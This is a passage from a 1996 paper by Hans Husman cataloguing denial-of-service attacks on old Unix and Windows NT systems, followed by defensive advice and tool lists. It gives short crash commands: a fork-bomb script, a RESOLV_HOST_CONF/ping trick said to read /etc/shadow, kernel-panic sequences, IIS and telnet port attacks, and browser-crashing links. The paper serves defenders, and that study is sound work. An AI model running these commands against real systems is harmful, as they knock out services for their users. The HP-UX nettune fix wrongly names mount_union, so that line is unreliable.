  898.         rm: illegal option -- x
  899.         rm: illegal option -- x
  900.         rm: illegal option -- x
  901.         usage: rm [-fiRr] file ...
  902.         $
  903.  
  904. Ex.II.
  905.  
  906.         $ touch xxx!
  907.         $ rm xxx!
  908.         rm: remove xxx! (yes/no)? y
  909.         $ touch xxxxxxxxx!
  910.         $ rm xxxxxxxxx!
  911.         bash: !": event not found
  912.         $
  913.  
  914.         (You see the size do count!)
  915.  
  916. Other well know methods is files with odd characters or spaces
  917. in the name. 
  918.  
  919. These methods could be used in combination with ".D.3 FILLING UP THE
  920. HARDDISK". If you do want to remove these files you must use some sort
  921. of script or a graphical interface like OpenWindow:s File
  922. Manager. You can also try to use: rm ./<filename>. It should work for
  923. the first example if you have a shell.
  924.  
  925. .C.1.6. CSH ATTACK
  926. ------------------
  927.  
  928. Just start this under /bin/csh (after proper modification) 
  929. and the load level will get very high (that is 100% of the cpu time) 
  930. in a very short time. 
  931.  
  932. Ex:
  933.  
  934.         |I /bin/csh
  935.         nodename : **************b
  936.  
  937. .C.1.7. CREATING FILES IN /tmp
  938. ------------------------------
  939.  
  940. Many programs creates files in /tmp, but are unable to deal with the problem
  941. if the file already exist. In some cases this could be used for a
  942. denial of service attack.
  943.  
  944. .C.1.8. USING RESOLV_HOST_CONF
  945. ------------------------------
  946.  
  947. Some systems have a little security hole in the way they use the
  948. RESOLV_HOST_CONF variable. That is we can put things in it and
  949. through ping access confidential data like /etc/shadow or
  950. crash the system. Most systems will crash if /proc/kcore is 
  951. read in the variable and access through ping.
  952.  
  953. Ex:
  954.         
  955.         $ export RESOLV_HOST_CONF="/proc/kcore" ; ping asdf
  956.  
  957. .C.1.9. MESSING WITH MEMORY
  958. ---------------------------
  959.  
  960. A denial of service attack at the memory can cause a great deal of
  961. problems. There are a number of things the attacker can do, for
  962. example:
  963.  
  964.         - Allocate a large amount of RAM or rather all of the
  965.         memory that the system will allow us to allocate. We can
  966.         for example use malloc() do this. Putting something like
  967.         malloc(somenumber) in a loop can do the job. 
  968.  
  969.         - Writing to /dev/kmem or similar can get some systems
  970.         in trouble. 
  971.  
  972.         - Kernel memory allocation is also a target that is sensitive.
  973.         The kernel have a kernelmap limit, if the system reach this
  974.         limit it can not allocate more kernel memory and might crash.
  975.         The kernel memory is not only used for RAM, CPU:s, screens and so
  976.         on, it it also used for ordinaries processes. 
  977.  
  978.         - Just reading a large amount of memory in a slow way (page in
  979.         for every access) will slow down the system.
  980.  
  981.         - Some systems will crash if /proc/kcore is read in the 
  982.         RESOLV_HOST_CONF variable and access through ping.
  983.  
  984.                 Ex:
  985.  
  986.                         $ export RESOLV_HOST_CONF="/proc/kcore";
  987.                         $ ping asdf
  988.         
  989. A solution could be to set a peruser limit on memory use and add more
  990. memory and some extra swap space.
  991.  
  992. .C.1.10. EXECUTING RANDOM DATA
  993. ------------------------------
  994.  
  995. Executing random data can cause problems on some systems
  996.  
  997. .C.2. SUNOS/SOLARIS
  998. -------------------
  999.  
  1000. .C.2.1. SUNOS 4.X. AND BACKGROUND JOBS
  1001. --------------------------------------
  1002.  
  1003. Thanks to Mr David Honig <honig@amada.net> for the following:
  1004.  
  1005. " Put the string "a&" in a file called "a" and perform "chmod +x a".
  1006. Running "a" will quickly disable a Sun 4.x machine, even disallowing
  1007. (counter to specs) root login as the kernel process table fills."
  1008.  
  1009. " The cute thing is the size of the 
  1010. script, and how few keystrokes it takes to bring down a Sun
  1011. as a regular user."
  1012.  
  1013. .C.2.2. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X.
  1014. -------------------------------------------------------
  1015.  
  1016. Executing the trap_mon instruction from user mode can cause
  1017. a kernel panic or a window underflow watchdog reset under
  1018. SunOS 4.1.x, sun4c architecture.
  1019.  
  1020. .C.2.3. SUNOS KERNEL PANIC WITH tmpfs
  1021. -------------------------------------
  1022.  
  1023. If /tmp is a tmpfs filesystem any user can cause a kernel
  1024. panic under SunOS 4.1.x.
  1025.  
  1026. Ex:
  1027.  
  1028.         $ cd /tmp
  1029.         $ /usr/etc/mknod fifo p
  1030.         $ ln fifo link
  1031.         $ ls -ClFg link fifo
  1032.  
  1033. .C.2.4. SUNOS KERNEL PANIC WITH pathconf()
  1034. ------------------------------------------
  1035.  
  1036. If /cdrom is a hsfs filesystem can any user cause a 
  1037. kernelpanic under SunOS 4.1.X, with the following
  1038. program:
  1039.  
  1040. Ex:     
  1041.         #include <unistd.h>
  1042.  
  1043.         main()
  1044.         {
  1045.                 pathconf("/cdrom", 0);
  1046.         }
  1047.  
  1048. .C.2.5. SUNOS KERNEL PANIC WITH df
  1049. ----------------------------------
  1050.  
  1051. SunOS 4.0.X will hang if the following command is issued:
  1052.  
  1053.         $ df /dev/*b
  1054.  
  1055. .C.2.6. SUNOS KERNEL PANIC WITH rmdir
  1056. -------------------------------------
  1057.  
  1058. Some systems running SunOS 4.0.3 will get a kernel panic if you try to
  1059. rmdir a directory that don't exist.
  1060.  
  1061. .C.2.7. DIRECTORY NAME LOOKUP CACHE
  1062. -----------------------------------
  1063.  
  1064. Directory name lookupcache (DNLC) is used whenever a file is opened.
  1065. DNLC associates the name of the file to a vnode. But DNLC can only
  1066. operate on files with names that has less than N characters (for SunOS 4.x
  1067. up to 14 character, for Solaris 2.x up 30 characters). This means
  1068. that it's dead easy to launch a pretty discreet denial of service attack.
  1069.  
  1070. Create lets say 20 directories (for a start) and put 10 empty files in
  1071. every directory. Let every name have over 30 characters and execute a
  1072. script that makes a lot of ls -al on the directories.
  1073.  
  1074. If the impact is not big enough you should create more files or launch
  1075. more processes.
  1076.  
  1077. .C.2.8. SOLARIS 2.X AND NFS
  1078. ---------------------------
  1079.  
  1080. If a process is writing over NFS and the user goes over the disk
  1081. quota will the process go into an infinite loop.
  1082.  
  1083. .C.2.9. KERNEL PANIC UNDER SOLARIS 2.3
  1084. --------------------------------------
  1085.  
  1086. Solaris 2.3 will get a kernel panic if this
  1087. is executed:
  1088.  
  1089. EX:
  1090.         
  1091.         $ndd /dev/udp udp_status
  1092.  
  1093. The solution is to install the proper patch.
  1094.         
  1095. .C.3.   HP-UX
  1096. -------------
  1097.                 
  1098. .C.3.1. NETTUNE AND HP-UX
  1099. -------------------------
  1100.         
  1101. /usr/contrib/bin/nettune is SETUID root on HP-UX meaning
  1102. that any user can reset all ICMP, IP and TCP kernel
  1103. parameters, for example the following parameters:
  1104.  
  1105.         - arp_killcomplete 
  1106.         - arp_killincomplete
  1107.         - arp_unicast 
  1108.         - arp_rebroadcast
  1109.         - icmp_mask_agent
  1110.         - ip_defaultttl
  1111.         - ip_forwarding
  1112.         - ip_intrqmax
  1113.         - pmtu_defaulttime
  1114.         - tcp_localsubnets
  1115.         - tcp_receive
  1116.         - tcp_send
  1117.         - tcp_defaultttl
  1118.         - tcp_keepstart 
  1119.         - tcp_keepfreq
  1120.         - tcp_keepstop
  1121.         - tcp_maxretrans
  1122.         - tcp_urgent_data_ptr
  1123.         - udp_cksum
  1124.         - udp_defaultttl 
  1125.         - udp_newbcastenable 
  1126.         - udp_pmtu
  1127.         - tcp_pmtu
  1128.         - tcp_random_seq
  1129.  
  1130. The solution could be to set the proper permission on 
  1131. /sbin/mount_union:
  1132.  
  1133. #chmod u-s /sbin/mount_union
  1134.         
  1135. .C.3.2. KERNEL PANIC UNDER HP-UNX 10.1
  1136. --------------------------------------
  1137.         
  1138. rplayd without any arguments can cause a kernel panic on HP-UX 10.1
  1139.  
  1140. .C.4. LINUX, FREEBSD
  1141. --------------------
  1142.                 
  1143. .C.4.1. BLOCKING LOGIN ON RED HAT AND DEBIAN
  1144. --------------------------------------------
  1145.                 
  1146. On some systems (Red Hat 3.0.3 and  Debian 1.2) anyone can block people
  1147. from login with the following command:
  1148.  
  1149. Ex:
  1150.  
  1151.           $ nvi /var/log/wtmp
  1152.  
  1153. .C.4.2. SYSTEM STABILITY COMPROMISE VIA mount_union
  1154. ---------------------------------------------------
  1155.  
  1156. By executing a sequence of mount_union commands any user
  1157. can cause a system reload on all FreeBSD version 2.X before
  1158. 1996-05-18.
  1159.  
  1160. $ mkdir a
  1161. $ mkdir b
  1162. $ mount_union ~/a ~/b
  1163. $ mount_union -b ~/a ~/b
  1164.  
  1165. The solution could be to set the proper permission on 
  1166. /sbin/mount_union:
  1167.  
  1168. #chmod u-s /sbin/mount_union
  1169.  
  1170. .C.5. DG/UX
  1171. -----------
  1172.  
  1173. .C.5.1. CRASHING DG/UX WITH ulimit
  1174. ----------------------------------
  1175.  
  1176. ulimit is used to set a limit on the system resources available to the 
  1177. shell. If ulimit 0 is called before /etc/passwd, under DG/UX, will the 
  1178. passwd file be set to zero.
  1179.  
  1180.  
  1181. .D. CRASHING MICROSOFT WINDOWS
  1182. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1183.  
  1184. .D.1. FREEZING MICROSOFT STACKS
  1185. -------------------------------
  1186.  
  1187. Microsoft stacks can freeze by a premature expire of dud replies to
  1188. DHCP lease information.
  1189.  
  1190. .D.2. ISS 2.0 WWW SERVER ON WINDOWS NT
  1191. --------------------------------------
  1192.  
  1193. If you telnet to port 80 on a NT machine running IIS 2.0 and issue the
  1194. command GET ..\.. it will crash.
  1195.  
  1196. .D.3. THE DOT DOT BUG
  1197. ---------------------
  1198.  
  1199. Windows NT file sharing system is vulnerable to the under Windows 95
  1200. famous dot dot bug (dot dot like ..). Meaning that anyone can crash
  1201. the system. If someone sends a "DIR ..\" to the workstation will a
  1202. STOP messages appear on the screen on the Windows NT computer. Note that
  1203. it applies to version 3.50 and 3.51 for both workstation and server
  1204. version.
  1205.  
  1206. .D.4. CONSUMING 100% OF CPU TIME ON NT MACHINES
  1207. -----------------------------------------------
  1208.  
  1209. Telnet to port 135 and send some random characters and disconnect.
  1210. This will cause the rpcss.exe process to start consuming all
  1211. available process cycles.
  1212.  
  1213. .D.5. CONSUMING 100% OF CPU TIME ON NT MACHINES II
  1214. --------------------------------------------------
  1215.  
  1216. Telnet to port 6558 and type in one letter and hit enter.
  1217.  
  1218. .D.6. CONSUMING 100% OF CPU TIME ON NT MACHINES III
  1219. ---------------------------------------------------
  1220.  
  1221. Telnet to port 53 and send some random characters and disconnect.
  1222.  
  1223. .D.7. WINDOWS NT 4.0 AND THE DNS SERVICE
  1224. ----------------------------------------
  1225.  
  1226. Then Microsoft DNS service terminates when it receives a response
  1227. to a DNS query that was never made.
  1228.  
  1229. .D.8. WINDOWS NT AND LARGE FILE CACHING
  1230. ---------------------------------------
  1231.  
  1232. If the NT system have large file caching enable it is easy to eat
  1233. 100% of the CPU time. Just transfer a large enough file from/to the
  1234. server through the shared network drive.
  1235.  
  1236. .D.9. CONSUMING 100% OF CPU TIME ON NT MACHINES - SOME MORE PORTS -
  1237. -------------------------------------------------------------------
  1238.  
  1239. Also try 1031 and 1040.
  1240.  
  1241. .E. LINKS THAT DESTROY
  1242. ~~~~~~~~~~~~~~~~~~~~~~
  1243.  
  1244. Clicking on the following links can cause damage to your system.
  1245. Don't click on them! Although I believe that very few systems
  1246. will have problems with most of them.
  1247.  
  1248.         (1)Can affect some version of the Internet Explorer.
  1249.         Internet Explorer will go into an infinite loop if told to play
  1250.         a movie from the URL:
  1251.         
  1252.         <a href="file://aux">file://aux</a>
  1253.  
  1254.         (2)Can affect Netscape 1.1N (a very old version).
  1255.         <a href="http://xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
  1256.         xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.
  1257.         xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.
  1258.         xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
  1259.         xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx...">http://xxx.xxx.xxx.
  1260.         xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
  1261.         xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
  1262.         xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
  1263.         xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.
  1264.         xxx.xxx.xxx.xxx...</a>
  1265.  
  1266.         (3) Calling to special files we know will exist can cause problems,
  1267.          ex:
  1268.  
  1269.         <a href="file:/dev/mouse">file:/dev/mouse</a>
  1270.         <a href="file:/dev/zero">file:/dev/zero</a>
  1271.         <a href="file:/dev/mmap">file:/dev/mmap</a>
  1272.         <a href="file:/proc/kcore">file:/proc/kcore</a>
  1273.  
  1274.         (4)A collection of hostile applets can be found at URL:
  1275.  
  1276.         <a href="http://www.math.gatech.edu/~mladue/HostileApplets.html">
  1277.         http://www.math.gatech.edu/~mladue/HostileApplets.html</a>
  1278.  
  1279.  
  1280. .F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?
  1281. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1282.  
  1283. .F.1. BASIC SECURITY PROTECTION
  1284. -------------------------------
  1285.  
  1286. .F.1.1. INTRODUCTION
  1287. --------------------
  1288.  
  1289. You can not make your system totally secured against denial of service
  1290. attacks but for attacks from the outside you can do a lot. I put this
  1291. work list together and hope that it can be of some use. 
  1292.  
  1293. .F.1.2. SECURITY PATCHES
  1294. ------------------------
  1295.  
  1296. Always install the proper security patches. As for patch numbers
  1297. I don't want to put them out, but that doesn't matter because you
  1298. anyway want to check that you have all security patches installed,
  1299. so get a list and check! Also note that patches change over time and
  1300. that a solution suggested in security bulletins (i.e. CERT) often
  1301. is somewhat temporary.
  1302.  
  1303. .F.1.3. PORT SCANNING
  1304. ---------------------
  1305.  
  1306. Check which services you have. Don't check with the manual
  1307. or some configuration file, instead scan the ports with strobe
  1308. or some other port scanner. Actual you should do this regualy to see
  1309. that anyone don't have installed a service that you don't want on
  1310. the system (could for example be service used for a pirate site).
  1311.  
  1312. Disable every service that you don't need, could for example be rexd,
  1313. fingerd, systat, netstat, rusersd, sprayd, pop3, uucpd, echo, chargen,
  1314. tftp, exec, ufs, daytime, time... Any combination of echo, time, daytime
  1315. and chargen is possible to get to loop. There is however no need
  1316. to turn discard off. The discard service will just read a packet
  1317. and discard it, so if you turn off it you will get more sensitive to
  1318. denial of service and not the opposite.
  1319.  
  1320. Actual can services be found on many systems that can be used for
  1321. denial of service and brute force hacking without any logging. For
  1322. example Stock rexec never logs anything. Most popd:s also don't log 
  1323. anything
  1324.  
  1325. .F.1.4. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER
  1326. ---------------------------------------------------------
  1327.  
  1328. Check that attacks described in this paper and look at the
  1329. solution. Some attacks you should perform yourself to see if they
  1330. apply to your system, for example:
  1331.  
  1332.         - Freezing up X-Windows.
  1333.         - Malicious use of telnet.
  1334.         - How to disable services.
  1335.         - SunOS kernel panic.
  1336.         - Attacking with lynx clients.
  1337.         - Crashing systems with ping from Windows 95 machines.
  1338.         
  1339. That is stress test your system with several services and look at
  1340. the effect. Also have a look in section ".F.1.6. TOOLS THAT HELPS
  1341. YOU CHECK".  
  1342.  
  1343. Note that Solaris 2.4 and later have a limit on the number of ICMP
  1344. error messages (1 per 500 ms I think) that can cause problems then
  1345. you test your system for some of the holes described in this paper.
  1346. But you can easy solve this problem by executing this line:
  1347.  
  1348. $ /usr/sbin/ndd -set /dev/ip ip_icmp_err_interval 0
  1349.                                                             
  1350. .F.1.5. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER
  1351. --------------------------------------------------------
  1352.  
  1353. Check the inside attacks, although it is always possibly to crash
  1354. the system from the inside you don't want it to be to easy. Also
  1355. have several of the attacks applications besides denial of service.
  1356.  
  1357. .F.1.6. TOOLS THAT HELPS YOU CHECK
  1358. ----------------------------------
  1359.  
  1360. First we have a very good free packet made by Darren Reed 
  1361. (darrenr@cyber.com.au). The text below is quoted from a
  1362. posting Mr Reed made to Bugtraq Thu, 24 Oct 1996 10:50:00 +1000.
  1363.  
  1364.  
  1365.         "I wrote a program called "ipsend" some time ago that 
  1366.         I later split up into iptest/ipsend/ipresend.  iptest 
  1367.         basically does lots of nasty things, including attempting 
  1368.         to send huge packets, etc.  It does it using NIT/BPF
  1369.         and DLPI - but I've only tested on Solaris/BSD/Linux.
  1370.  
  1371.         If you want to have a look at it:
  1372.  
  1373.         ftp://coombs.anu.edu.au/pub/net/misc/ipsend.tar.gz
  1374.  
  1375.         To give you a brief of the other programs:
  1376.         * ipresend takes a tcpdump binary dump/snoop binary dump
  1377.         or other input (such as textual descriptions of IP packets) 
  1378.         and sends that out through the above;
  1379.         * ipsend is a command line interface for sending a single 
  1380.         packet or doing "stealth scanning";
  1381.  
  1382.         Ideally, ipresend could be used with a know set of inputs 
  1383.         which create a set of nasty packets (that aren't covered in 
  1384.         iptest) and you could use that to test the rigidity of your 
  1385.         IP stack after making any changes.  iptest is a quick and 
  1386.         fixed implementation of a fixed number of tests.
  1387.  
  1388.         Darren"
  1389.  
  1390. The packet is very good to stress test systems.
  1391.  
  1392. A program called crashme.c written by Mr George J. Carrete in 1990 also
  1393. exist. I don't however think that the unix of to day will have to much
  1394. trouble dealing with crashme, although I am not sure. Carrete gives the
  1395. following information in the program:
  1396.  
  1397.         "Crashme is a very simple program that tests the operating 
  1398.         environment's robustness by invoking random data as if it 
  1399.         were a procedure. The standard signals are caught and handled 
  1400.         with a setjmp back to a loop which will try again to produce 
  1401.         a fault by executing random data."
  1402.  
  1403. More information are given in the source code that can be found at
  1404. URL:
  1405.  
  1406.         http://www.student.tdb.uu.se/~t95hhu/document/crashme.c
  1407.  
  1408.  
  1409. We also have ISS that is not a free tool. According to W3-page:
  1410. http://www.iss.net/tech/techspec.html ISS checks for the following 
  1411. denial of service attacks:
  1412.  
  1413.         Name under ISS W3-page          
  1414.         ----------------------          
  1415.  
  1416.         - Finger Bomb Check             
  1417.         - UDP Bomb Check                
  1418.         - Echo Service Check            
  1419.         - Chargen Service Check         
  1420.         - Microsoft dot dot Bug         
  1421.         - ICMP Redirect                 
  1422.         - Nuke                          
  1423.         - DNS Attack                    
  1424.         - Open/Close ports repetitively 
  1425.         - Brute Force Netware FTP       
  1426.         (under section BRUTE FORCE 
  1427.         ATTACKS)
  1428.  
  1429. ISS is a very good security checker and check for many holes, not
  1430. only denial of service.
  1431.  
  1432. Satan, PingWare and SPI do not to my knowledge check for any
  1433. denial of service attacks.
  1434.  
  1435. For SunOS and we have a package called the Sysinfo Package
  1436. that shows detailed kernel information, generates a complete report
  1437. on the system configuration with host, memory, OS and device information.
  1438. I think that similar package can be found for other OS:s to.
  1439. This package is included in the SunOS Security Checklist that can
  1440. be found at URL:
  1441.  
  1442.         http://mother.cc.vt.edu/kathyw/sun.security.html
  1443.  
  1444. On URL: http://www.ntshop.net/security/100CPU.htm can a Pearl script
  1445. be found that checks the ports on NT machines for the rpcss.exe bug
  1446. that can consume 100% of CPU time.
  1447.  
  1448. .F.1.7. EXTRA SECURITY SYSTEMS
  1449. ------------------------------
  1450.  
  1451. Also think about if you should install some extra security systems.
  1452. The basic that you always should install is a logdaemon  and a wrapper.
  1453. A firewall could also be very good, but expensive. Free tools that can
  1454. be found on the Internet is for example:
  1455.  
  1456. TYPE:           NAME:           URL:
  1457.  
  1458. LOGDAEMON       NETLOG          ftp://net.tamu.edu/pub/security/TAMU
  1459. WRAPPER         TCP WRAPPERS    ftp://cert.org/pub/tools/tcp_wrappers
  1460. FIREWALL        TIS             ftp://ftp.tis.com/pub/firewalls/toolkit
  1461.  
  1462. Note that you should be very careful if building your own firewall with
  1463. TIS or you might open up new and very bad security holes, but it is a very
  1464. good security packer if you have some basic knowledge.
  1465.  
  1466. It is also very good to replace services that you need, for example telnet,
  1467. rlogin, rsh or whatever, with a tool like ssh. Ssh is free and can be
  1468. found at URL: 
  1469.  
  1470.         ftp://ftp.cs.hut.fi/pub/ssh
  1471.  
  1472. Ssh stops: IP spoofing, IP source routin, DNS spoofing, interception of
  1473. cleartext passwords and other data by intermediate hosts, manipulation
  1474. of data by people in control of intermediate hosts and various attacks
  1475. at the X-server. 
  1476.  
  1477. The "SSH (Secure Shell) FAQ" can be found at address:
  1478.  
  1479.         http://www.uni-karlsruhe.de/~ig25/ssh-faq
  1480.  
  1481. But take a look at the problems with ssh described in this paper, for
  1482. example should your system refuse connections from unknown hosts.
  1483.  
  1484. The addresses I have put out are the central sites for distributing
  1485. and I don't think that you should use any other except for CERT.
  1486.  
  1487. For a long list on free general security tools I recommend:
  1488. "FAQ: Computer Security Frequently Asked Questions".
  1489.  
  1490. .F.1.8. ADDING HARDWARE
  1491. -----------------------
  1492.  
  1493. A system with faster hardware and more memory (if the system is
  1494. able to use the extra memory) does resist denial of service attacks 
  1495. better. 
  1496.  
  1497. .F.1.9. MONITORING SECURITY
  1498. ---------------------------
  1499.  
  1500. Also monitor security regular, for example through examining system log
  1501. files, history files... Even in a system without any extra security systems
  1502. could several tools be found for monitoring, for example: 
  1503.  
  1504.         - uptime
  1505.         - showmount
  1506.         - ps
  1507.         - netstat
  1508.         - finger
  1509.  
  1510. (see the man text for more information).
  1511.  
  1512. Sometimes you have to use a sniffer to monitor an attack. A sniffer
  1513. capture the information going over the network. The following sniffers
  1514. can for example be found:
  1515.  
  1516. (1) Snoop:              Nice. Designed for Solaris 2.X and SunOS 4.1.
  1517.                         Can be found at address: ftp://playground.sun.com
  1518.  
  1519. (2) Esniff:             Famous. Captures the first 300 bytes of all 
  1520.                         telnet, ftp and rlogn sessions. Designed for 
  1521.                         SunOS. Note that esniff not was designed for
  1522.                         detections of network problems, it was designed
  1523.                         as an attack tool. Can be found at address:
  1524.                         ftp://coombs.anu.edu.au/pub/net/log
  1525.  
  1526. (3) Packetman, 
  1527. Interman, Etherman,
  1528. Loadman:                Designed for SunOS, DEC-Mips, SGI, Alpha. Can
  1529.                         be found at address: ftp.cs.curtin.edu.au/pub/netman
  1530.  
  1531. .F.1.10. KEEPING UP TO DATE
  1532. ---------------------------
  1533.  
  1534. It is very important to keep up to date with security problems. Also 
  1535. understand that then, for example CERT, warns for something it has often
  1536. been dark-side public for sometime, so don't wait. The following resources
  1537. that helps you keeping up to date can for example be found on the Internet:
  1538.  
  1539.         - CERT mailing list. Send an e-mail to cert@cert.org to be placed
  1540.         on the list.
  1541.         
  1542.         - Bugtraq mailing list. Send an e-mail to bugtraq-request@fc.net.
  1543.  
  1544.         - WWW-security mailing list. Send an e-mail to 
  1545.         www-security@ns2.rutgers.edu.
  1546.  
  1547. .F.1.11. READ SOMETHING BETTER
  1548. ------------------------------
  1549.  
  1550. Take a look at "THE DENIAL OF SERVICE PAGE" at URL:
  1551.  
  1552.         http://www.student.tdb.uu.se/~t95hhu/c-war.html
  1553.  
  1554. .F.2. MONITORING PERFORMANCE
  1555. ----------------------------
  1556.  
  1557. .F.2.1. INTRODUCTION
  1558. --------------------
  1559.  
  1560. There is several commands and services that can be used for
  1561. monitoring performance. And at least two good free programs can
  1562. be found on Internet.
  1563.  
  1564. .F.2.2. COMMANDS AND SERVICES
  1565. -----------------------------
  1566.  
  1567. For more information read the man text.
  1568.  
  1569. netstat         Show network status.
  1570. nfsstat         Show NFS statistics.
  1571. sar             System activity reporter.
  1572. vmstat          Report virtual memory statistics.
  1573. timex           Time a command, report process data and system
  1574.                 activity.
  1575. time            Time a simple command.
  1576. truss           Trace system calls and signals.
  1577. uptime          Show how long the system has been up.
  1578.  
  1579. Note that if a public netstat server can be found you might be able
  1580. to use netstat from the outside. netstat can also give information
  1581. like tcp sequence numbers and much more.
  1582.  
  1583. .F.2.3. PROGRAMS
  1584. ----------------
  1585.  
  1586. Proctool: Proctool is a freely available tool for Solaris that monitors
  1587. and controls processes. Proctool is very good on finding processes that
  1588. are accumulating CPU time rapidly.
  1589.  
  1590.         ftp://opcom.sun.ca/pub/binaries/
  1591.         
  1592. Top: Top might be a more simple program than Proctool, but is
  1593. good enough.
  1594.  
  1595. .F.2.4. ACCOUNTING
  1596. ------------------
  1597.  
  1598. To monitor performance you have to collect information over a long 
  1599. period of time. All Unix systems have some sort of accounting logs
  1600. to identify how much CPU time, memory each program uses. You should
  1601. check your manual to see how to set this up.
  1602.  
  1603. You could also invent your own account system by using crontab and
  1604. a script with the commands you want to run. Let crontab run the script
  1605. every day and compare the information once a week. You could for
  1606. example let the script run the following commands:
  1607.  
  1608.         - netstat
  1609.         - iostat -D
  1610.         - vmstat
  1611.  
  1612.  
  1613. .G. SUGGESTED READING
  1614. ~~~~~~~~~~~~~~~~~~~~~
  1615.  
  1616. You can find a lot of links to information and programs at my new
  1617. page: THE DENIAL OF SERVICE PAGE at URL:
  1618.  
  1619.         http://www.student.tdb.uu.se/~t95hhu/c-war.html
  1620.  
  1621.  
  1622. .H. CREDITS
  1623. ~~~~~~~~~~~
  1624.  
  1625. Please se the page at URL:
  1626.  
  1627.         http://www.student.tdb.uu.se/~t95hhu/secure/denial/credits.txt
  1628.  
  1629.  
  1630. .I. COPYRIHT            
  1631. ~~~~~~~~~~~~
  1632.  
  1633. This paper is Copyright (c) 1996 by Hans Husman.
  1634.  
  1635. Permission is hereby granted to give away free copies electronically. You
  1636. may distribute, transfer, or spread this paper electronically. You may not
  1637. pretend that you wrote it. This copyright notice must be maintained in any
  1638. copy made. If you wish to reprint the whole or any part of this paper in any
  1639. other medium excluding electronic medium, please ask the author for
  1640. permission.
  1641.  
  1642. .J. DISCLAIMER
  1643. ~~~~~~~~~~~~~~
  1644.  
  1645. The information within this paper may change without notice. There are
  1646. NO warranties with regard to this information. In no event shall the author
  1647. be liable for any damages whatsoever arising out of or in connection with
  1648. the use or spread of this information. Any use of this information is at the
  1649. user's own risk.
  1650.  
  1651.  
  1652.  
  1653.  
  1654.  
  1655.  
  1656.  
  1657.         
  1658.  
  1659.  
  1660.  
  1661.